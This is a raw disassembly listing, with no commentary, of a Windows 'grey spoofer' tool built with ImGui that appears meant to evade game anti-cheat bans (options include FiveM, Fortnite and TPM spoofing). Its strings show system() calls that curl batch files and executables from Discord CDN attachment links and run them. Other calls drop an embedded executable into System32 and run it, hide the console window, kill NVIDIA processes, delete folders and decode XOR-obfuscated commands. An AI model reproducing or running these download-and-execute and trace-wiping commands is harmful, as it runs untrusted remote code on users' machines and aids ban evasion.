call fcn.140031b50
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x50]
call fcn.140031b60
lea rcx, [rbp + 0x90]
call fcn.140031b60
lea rcx, [rbp + 0xe0]
call fcn.140031b60
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rcx, [rbp - 0x58]
call fcn.140031b60
lea rcx, [rbp - 0x58]
call fcn.140047540
lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.140047540
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
lea rcx, [rbp + 0xe0]
call fcn.140063880
mov rdx, rax
lea r8, [0x140170b0c]
lea rcx, [rbp + 0x90]
call fcn.140063b30
mov r8, rbx
lea rcx, [rbp + 0x50]
mov rdx, rax
call fcn.140063ba0
mov rcx, rax
call fcn.140031b50
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x50]
call fcn.140031b60
lea rcx, [rbp + 0x90]
call fcn.140031b60
lea rcx, [rbp + 0xe0]
call fcn.140031b60
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rcx, [rbp - 0x58]
call fcn.140031b60
call fcn.1400479e0
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1201050423356829808_1201074906788532224_mac.bat___output_C:Usersmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1201047362332798996_nprojecto.exe___output_C:Users_nprojecto.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1176296529477247038_1176300134989058190_Scripthook_bypass.exe___output_C:UsersScripthook_bypass.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1176296529477247038_1176301835359891567_FiveM_Cleanerino1.exe___output_C:UsersFiveM_Cleanerino1.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Usersmac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersScripthook_bypass.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Users_nprojecto.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersFiveM_Cleanerino1.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvcontainer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvsphelper64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Share.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Web___Helper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:Users_username_AppDataLocalNVIDIA_Corporation
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_NvNode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400417b0
call fcn.140057f40
jmp 0x14005d294
lea r14, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
lea rdi, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
cmp byte [0x14039a0c5], 0
je 0x14005d5b8
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe
lea rcx, [rbp - 0x80]
call fcn.140031bc0
mov r8d, 0x390a8
lea rdx, [0x1402271a0]
lea rcx, [rbp - 0x80]
call fcn.1400476b0
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rcx, [rbp - 0x58]
call fcn.140047540
lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.140047540
mov r8, rax
lea rcx, [rbp + 0xe0]
mov rdx, r14
call fcn.140063880
mov rdx, rax
lea r8, [0x140170b0c]
lea rcx, [rbp + 0x90]
call fcn.140063b30
mov r8, rbx
lea rcx, [rbp + 0x50]
mov rdx, rax
call fcn.140063ba0
mov rcx, rax
call fcn.140031b50
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x50]
call fcn.140031b60
lea rcx, [rbp + 0x90]
call fcn.140031b60
lea rcx, [rbp + 0xe0]
call fcn.140031b60
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rcx, [rbp - 0x58]
call fcn.140031b60
lea rcx, [rbp - 0x58]
call fcn.140047540
lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.140047540
mov r8, rax
lea rcx, [rbp + 0xe0]
mov rdx, rdi
call fcn.140063880
mov rdx, rax
lea r8, [0x140170b0c]
lea rcx, [rbp + 0x90]
call fcn.140063b30
mov r8, rbx
lea rcx, [rbp + 0x50]
mov rdx, rax
call fcn.140063ba0
mov rcx, rax
call fcn.140031b50
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x50]
call fcn.140031b60
lea rcx, [rbp + 0x90]
call fcn.140031b60
lea rcx, [rbp + 0xe0]
call fcn.140031b60
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rcx, [rbp - 0x58]
call fcn.140031b60
lea rcx, [rbp - 0x58]
call fcn.140047540
lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.140047540
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
lea rcx, [rbp + 0xe0]
call fcn.140063880
mov rdx, rax
lea r8, [0x140170b0c]
lea rcx, [rbp + 0x90]
call fcn.140063b30
mov r8, rbx
lea rcx, [rbp + 0x50]
mov rdx, rax
call fcn.140063ba0
mov rcx, rax
call fcn.140031b50
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x50]
call fcn.140031b60
lea rcx, [rbp + 0x90]
call fcn.140031b60
lea rcx, [rbp + 0xe0]
call fcn.140031b60
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rcx, [rbp - 0x58]
call fcn.140031b60
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1201050423356829808_1201074906788532224_mac.bat___output_C:Usersmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1201047362332798996_nprojecto.exe___output_C:Users_nprojecto.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Users_nprojecto.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Usersmac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvcontainer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvsphelper64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Share.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Web___Helper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:Users_username_AppDataLocalNVIDIA_Corporation
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_NvNode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14004db80
call fcn.140057f40
call fcn.1400417b0
lea rbx, [0x14039a240]
lea rdi, [0x14039a500]
nop dword [rax]
nop word [rax + rax]
mov dword [rbp - 0x38], 0xc1ddd3
mov rcx, rsi
mov byte [rbp - 0x34], r12b
nop
lea eax, [rcx - 0x50]
xor byte [rbp + rcx - 0x38], al
inc rcx
cmp rcx, 3
jb 0x14005d540
lea rcx, [rbp - 0x38]
mov byte [rbp - 0x34], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x14005d56b
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, rsi
mov dword [rbp - 0x33], 0xc1ddd3
mov byte [rbp - 0x2f], r12b
nop
lea eax, [rcx - 0x50]
xor byte [rbp + rcx - 0x33], al
inc rcx
cmp rcx, 3
jb 0x14005d580
lea rcx, [rbp - 0x33]
mov byte [rbp - 0x2f], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x14005d530
jmp 0x14005d5bf
lea rdi, [0x14039a500]
cmp byte [0x14039a0c4], 0
je 0x14005d60a
lea rdx, [rbp - 0x80]
call fcn.140060030
mov r8d, 0x60a00
lea rdx, str.MZS__A
lea rcx, [rbp - 0x80]
call fcn.1400476b0
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rcx, str.C:WindowsSystem32Update.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Update.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp byte [0x14039a0d3], 0
je 0x14005d776
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rbp - 0x80]
call fcn.14005ffd0
mov r8d, 0x5e670
lea rdx, [0x140332880]
lea rcx, [rbp - 0x80]
call fcn.1400476b0
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rdx, [rbp - 0x80]
call fcn.14005ff70
mov r8d, 0x7180
lea rdx, [0x140390f20]
lea rcx, [rbp - 0x80]
call fcn.1400476b0
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rdx, [rbp - 0x80]
call fcn.14005ff10
mov r8d, 0x8788
lea rdx, [0x140316e50]
lea rcx, [rbp - 0x80]
call fcn.1400476b0
lea rcx, [rbp - 0x80]
call fcn.140031b60
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1198799358058053644_AmiSpoof.bat___output_C:UsersAmiSpoof.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersAMIDEWINx64.EXE
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Users_amigendrv64.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Users_amifldrv64.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:UsersAmiSpoof.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call fcn.1400417b0
lea rbx, [0x14039a240]
nop dword [rax]
mov dword [rbp - 0x2e], 0xc1ddd3
mov rcx, rsi
mov byte [rbp - 0x2a], r12b
nop
lea eax, [rcx - 0x50]
xor byte [rbp + rcx - 0x2e], al
inc rcx
cmp rcx, 3
jb 0x14005d700
lea rcx, [rbp - 0x2e]
mov byte [rbp - 0x2a], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x14005d72b
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, rsi
mov dword [rbp - 0x29], 0xc1ddd3
mov byte [rbp - 0x25], r12b
nop
lea eax, [rcx - 0x50]
xor byte [rbp + rcx - 0x29], al
inc rcx
cmp rcx, 3
jb 0x14005d740
lea rcx, [rbp - 0x29]
mov byte [rbp - 0x25], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x14005d6f0
cmp byte [0x14039a0d5], 0
jne 0x14005ecde
cmp byte [0x14039a0c6], 0
je 0x14005d845
call fcn.14004db80
lea rbx, [0x14039a240]
nop dword [rax]
mov dword [rbp - 0x24], 0xc1ddd3
mov rcx, rsi
mov byte [rbp - 0x20], r12b
nop
lea eax, [rcx - 0x50]
xor byte [rbp + rcx - 0x24], al
inc rcx
cmp rcx, 3
jb 0x14005d7b0
lea rcx, [rbp - 0x24]
mov byte [rbp - 0x20], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x14005d7db
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, rsi
mov dword [rbp - 0x1f], 0xc1ddd3
mov byte [rbp - 0x1b], r12b
nop
lea eax, [rcx - 0x50]
xor byte [rbp + rcx - 0x1f], al
inc rcx
cmp rcx, 3
jb 0x14005d7f0
lea rcx, [rbp - 0x1f]
mov byte [rbp - 0x1b], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x14005d7a0
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1199423382668718190_Remove_Trace__Clean.bat___output_C:UsersRemove_Trace__Clean.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersRemove_Trace__Clean.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400417b0
call fcn.14002e790
movaps xmm1, xmm15
movaps xmm0, xmm13
call fcn.140017ee0
movss xmm4, dword [0x140398ce0]
lea r8, [rbp + 0x198]
movss xmm0, dword [0x140398ce4]
subss xmm4, xmm6
subss xmm0, xmm7
mov dword [rbp + 0x198], 0x41900000
movzx r9d, r12b
mov dword [rbp + 0x19c], 0x41900000
lea rdx, [rbp + 0x1a0]
lea rcx, str.Container2
mulss xmm4, xmm12
movss dword [rbp + 0x1a4], xmm0
movss dword [rbp + 0x1a0], xmm4
call fcn.14002e2a0
lea rdx, [0x14039a0d4]
lea rcx, str.SPOOF_ALL
call fcn.140030ef0
call fcn.140030a20
lea rdx, [0x14039a0c5]
lea rcx, str.SPOOF_ASUS
call fcn.140030ef0
call fcn.140030a20
lea rdx, [0x14039a0c4]
lea rcx, str.TPM_CLEANER
call fcn.140030ef0
call fcn.140030a20
lea rdx, [0x14039a0d3]
lea rcx, str.FORTNITE_SPOOF
call fcn.140030ef0
call fcn.140030a20
lea rdx, [0x14039a0d5]
lea rcx, str.EFI_SPOOFER
call fcn.140030ef0
call fcn.140030a20
lea rdx, [0x14039a0c6]
lea rcx, str.FIVEM_SPOOFER
call fcn.140030ef0
mov rcx, qword [0x140399fa0]
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x114]
subss xmm1, dword [rax + 0x2c]
addss xmm1, dword [rax + 0x90]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
addss xmm1, dword [0x140177864]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm0, xmm1
movss dword [rax + 0x114], xmm0
call fcn.14002e790
movss xmm7, dword [0x1401777f4]
mov ecx, r12d
call fcn.1400063b0
mov rcx, qword [0x140399fa0]
lea rdx, [rbp + 0x1e8]
movss xmm2, dword [0x140398ce0]
subss xmm2, dword [0x140177898]
mov dword [rbp + 0x1e8], 0x42480000
mov rax, qword [rcx + 0x4038]
mov dword [rbp + 0x1ec], 0x42480000
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm0, dword [rax + 0x28]
movss xmm1, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x8c]
subss xmm1, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm2, xmm0
addss xmm1, xmm13
movss dword [rax + 0x110], xmm2
movss dword [rax + 0x114], xmm1
call fcn.14002fcb0
test al, al
je 0x14005da50
mov rcx, qword [0x14039a000]
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
movss xmm1, dword [0x14039aa8c]
lea rcx, [rbp - 0x10]
movss xmm0, dword [0x14039aa88]
mov rax, qword [0x140399fa0]
movss dword [rbp - 0xc], xmm1
movss dword [rbp - 0x10], xmm0
movss xmm0, dword [0x14039aa90]
movss xmm1, dword [rax + 0x38f0]
mulss xmm1, dword [0x1401777ac]
movss dword [rbp - 8], xmm0
mulss xmm1, dword [0x14039aa94]
movss dword [rbp - 4], xmm1
call fcn.140005cf0
mov ecx, eax
call fcn.140056ff0
mov rcx, qword [0x140399fa0]
lea rdx, [rbp - 0x58]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
addss xmm0, xmm13
addss xmm1, xmm13
movss dword [rax + 0x114], xmm0
movsd xmm0, qword [0x140398ce0]
movsd qword [rbp - 0x58], xmm0
movss dword [rax + 0x110], xmm1
call fcn.140037640
mov rax, qword [0x140399fa0]
mov ecx, dword [rax + 0x409c]
test ecx, ecx
je 0x14005dbc2
cmp ecx, dword [rax + 0x49a8]
jne 0x14005dbc2
mov rcx, qword [0x14039a000]
lea rdx, [0x14039a028]
call qword [sym.imp.USER32.dll_GetWindowRect]
cvttss2si edi, dword [0x140398ce4]
lea rcx, [rbp + 0x3f0]
cvttss2si esi, dword [0x140398ce0]
movaps xmm2, xmm11
call fcn.140015190
movd xmm0, dword [0x14039a02c]
lea rcx, [rbp + 0x408]
cvtdq2ps xmm0, xmm0
movaps xmm2, xmm11
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.140015190
mov r9d, esi
mov rcx, qword [0x14039a000]
mov r8d, ebx
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], edi
movd xmm0, dword [0x14039a028]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
xor esi, esi
call fcn.140013070
call fcn.14000ced0
mov rcx, qword [0x14039a998]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 7]
call qword [rax + 0x1c8]
mov rcx, qword [0x14039a998]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 0x1b]
call qword [rax + 0x1c8]
mov rcx, qword [0x14039a998]
xor r8d, r8d
mov edx, 0xae
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x14039a998]
mov r9d, 3
movss xmm8, dword [0x1401777fc]
xor r8d, r8d
mov dword [rsp + 0x30], esi
xor edx, edx
movss dword [rsp + 0x28], xmm8
mov rax, qword [rcx]
mov dword [rsp + 0x20], 0xff728c99
call qword [rax + 0x158]
mov rcx, qword [0x14039a998]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14005dcbc
call fcn.14000ced0
mov rbx, qword [0x140399fa0]
cmp dword [rbx + 0x4af8], 0
jg 0x14005dc8c
mov r8d, 0x76a
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4b00]
mov rcx, qword [rax]
mov rax, rsi
add rcx, 0x48
cmp byte [rcx], 0
cmovne rax, rcx
mov rcx, rax
call fcn.14003e620
mov rcx, qword [0x14039a998]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x14039a998]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x14005b5a0
mov rcx, qword [0x14039a998]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x14005b5a0
call fcn.14003eec0
mov rcx, qword [0x14039a998]
lea rdx, [0x14039a9a0]
mov rax, qword [rcx]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x14005dd39
mov r8d, 0x81d
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedexamplesexample_win32_directx9main.cpp
lea rcx, [0x140164eb0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140399fa0]
test rax, rax
je 0x14005b5a0
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14005b5a0
cmp qword [rcx], 0
je 0x14005b5a0
call fcn.14003ec50
jmp 0x14005b5a0
cmp eax, 2
jne 0x14005d99f
movss xmm0, dword [0x140398ce0]
lea r8, [rbp + 0x1a8]
movss xmm1, dword [0x140398ce4]
lea rdx, [rbp + 0x1b0]
subss xmm0, dword [0x1401778c4]
subss xmm1, dword [0x1401778a8]
movzx r9d, r12b
mov dword [rbp + 0x1a8], 0x41200000
lea rcx, str.Container1
mov dword [rbp + 0x1ac], 0x41200000
movss dword [rbp + 0x1b0], xmm0
movss dword [rbp + 0x1b4], xmm1
call fcn.14002e2a0
mov rax, qword [0x14039a848]
mov rdx, qword [0x14039a840]
sub rax, rdx
sar rax, 6
test rax, rax
je 0x14005e0a9
xor r14d, r14d
mov edi, r14d
nop dword [rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rbx, [rdi + rdx]
lea rdx, str._n_name:
call fcn.1400636b0
cmp qword [rbx + 0x18], 0xf
mov rdx, rbx
jbe 0x14005de24
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.1400662d0
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x50]
call fcn.140062190
mov rcx, rax
call fcn.140047140
lea rdx, [rbp + 0x2f8]
mov qword [rbp + 0x2f8], rax
lea rcx, [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x90]
mov eax, dword [rbp + 0xb0]
lea r9, [rbp + 0xe0]
movups xmm1, xmmword [rbp + 0xa0]
lea r8, str._a__m__d__y__H:_M:_S__Z
mov edx, 0x50
lea rcx, [rbp + 0x350]
movaps xmmword [rbp + 0xe0], xmm0
movaps xmmword [rbp + 0xf0], xmm1
mov dword [rbp + 0x100], eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
mov qword [rbp - 0x48], r14
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x40], r14
lea rax, [rbp + 0x350]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14005dec1
lea rdx, [rbp + 0x350]
lea rcx, [rbp - 0x58]
call fcn.140031c80
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._:_expiry:
call fcn.1400636b0
cmp qword [rbp - 0x40], 0xf
lea rdx, [rbp - 0x58]
mov r8, qword [rbp - 0x48]
mov rcx, rax
cmova rdx, qword [rbp - 0x58]
call fcn.1400662d0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14005df42
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005df3d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fd41
call fcn.1401342b4
movaps xmm0, xmmword [0x140177b80]
lea rdx, str.Expira_em_:
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm0
call fcn.140036df0
movaps xmm1, xmm10
movaps xmm0, xmm13
call fcn.140017ee0
lea rcx, [rbp + 0x50]
lea rdx, [rbx + 0x20]
call fcn.140062190
mov rcx, rax
call fcn.140047140
lea rdx, [rbp + 0x2f0]
mov qword [rbp + 0x2f0], rax
lea rcx, [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x90]
mov eax, dword [rbp + 0xb0]
lea r9, [rbp + 0xe0]
movups xmm1, xmmword [rbp + 0xa0]
lea r8, str._a__m__d__y__H:_M:_S__Z
mov edx, 0x50
lea rcx, [rbp + 0x350]
movaps xmmword [rbp + 0xe0], xmm0
movaps xmmword [rbp + 0xf0], xmm1
mov dword [rbp + 0x100], eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
mov qword [rbp - 0x70], r14
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x68], r14
lea rax, [rbp + 0x350]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x14005e000
lea rdx, [rbp + 0x350]
lea rcx, [rbp - 0x80]
call fcn.140031c80
cmp qword [rbp - 0x68], 0xf
lea r8, [rbp - 0x80]
movaps xmm0, xmmword [0x140177af0]
lea rdx, [0x140169e98]
cmova r8, qword [rbp - 0x80]
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm0
call fcn.140036df0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005e07d
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e078
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fd48
call fcn.1401342b4
call fcn.140030a20
mov rcx, qword [0x14039a848]
inc esi
mov rdx, qword [0x14039a840]
add rdi, 0x40
sub rcx, rdx
movsxd rax, esi
sar rcx, 6
cmp rax, rcx
jb 0x14005de00
movaps xmm0, xmmword [0x140177b80]
lea rdx, str.IP_address_:
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm0
call fcn.140036df0
movaps xmm1, xmm10
movaps xmm0, xmm13
call fcn.140017ee0
movaps xmm0, xmmword [0x14039a7c0]
lea r8, [rbp - 0x80]
movaps xmm1, xmmword [0x14039a7d0]
lea rdx, [0x140169e98]
movaps xmm4, xmmword [0x140177af0]
lea rcx, [rbp - 0x58]
movaps xmmword [rbp - 0x80], xmm0
movaps xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x58], xmm4
call fcn.140036df0
call fcn.140030a20
call fcn.14002e790
xor esi, esi
jmp 0x14005d99f
cmp ecx, 3
jne 0x14005d9a7
mov r8, qword [0x140399fa0]
test r8, r8
jne 0x14005e153
mov r8d, 0x10d9
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov ecx, dword [0x14039aa1c]
mov r8, qword [0x140399fa0]
movss xmm1, dword [r8 + 0x18]
mulss xmm1, dword [0x14017782c]
cmp ecx, 3
jne 0x14005e170
movss xmm6, dword [0x1401778cc]
jmp 0x14005e174
movaps xmm6, xmm13
subss xmm6, dword [0x14039a9f4]
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x290]
mov byte [rax + 0xc0], r12b
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
mulss xmm6, xmm1
movss xmm1, dword [0x14039aa8c]
mov rbx, qword [rax + 0x2a8]
addss xmm6, dword [0x14039a9f4]
movss dword [rbp + 0x294], xmm1
movss xmm1, dword [r8 + 0x38f0]
mulss xmm1, dword [0x1401777b8]
movss dword [rbp + 0x290], xmm0
movss xmm0, dword [0x14039aa90]
mulss xmm1, dword [0x14039aa94]
movss dword [0x14039a9f4], xmm6
movss dword [rbp + 0x298], xmm0
movss dword [rbp + 0x29c], xmm1
call fcn.140005cf0
movss xmm7, dword [0x140398ce0]
mov edi, eax
movss xmm8, dword [0x140398ce4]
movaps xmm0, xmm7
movss xmm9, dword [rbp + 0x30]
movaps xmm1, xmm8
movss xmm10, dword [rbp + 0x34]
mulss xmm0, xmm12
mulss xmm1, xmm12
addss xmm0, xmm9
addss xmm1, xmm10
movss dword [rbp + 0x1b8], xmm0
movss dword [rbp + 0x1bc], xmm1
test eax, 0xff000000
je 0x14005e2e1
comiss xmm12, xmm6
ja 0x14005e2e1
movss xmm0, dword [0x14017784c]
subss xmm6, xmm12
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x1b8]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
movaps xmm2, xmm6
call fcn.140025c30
movss xmm0, dword [0x140177834]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140024270
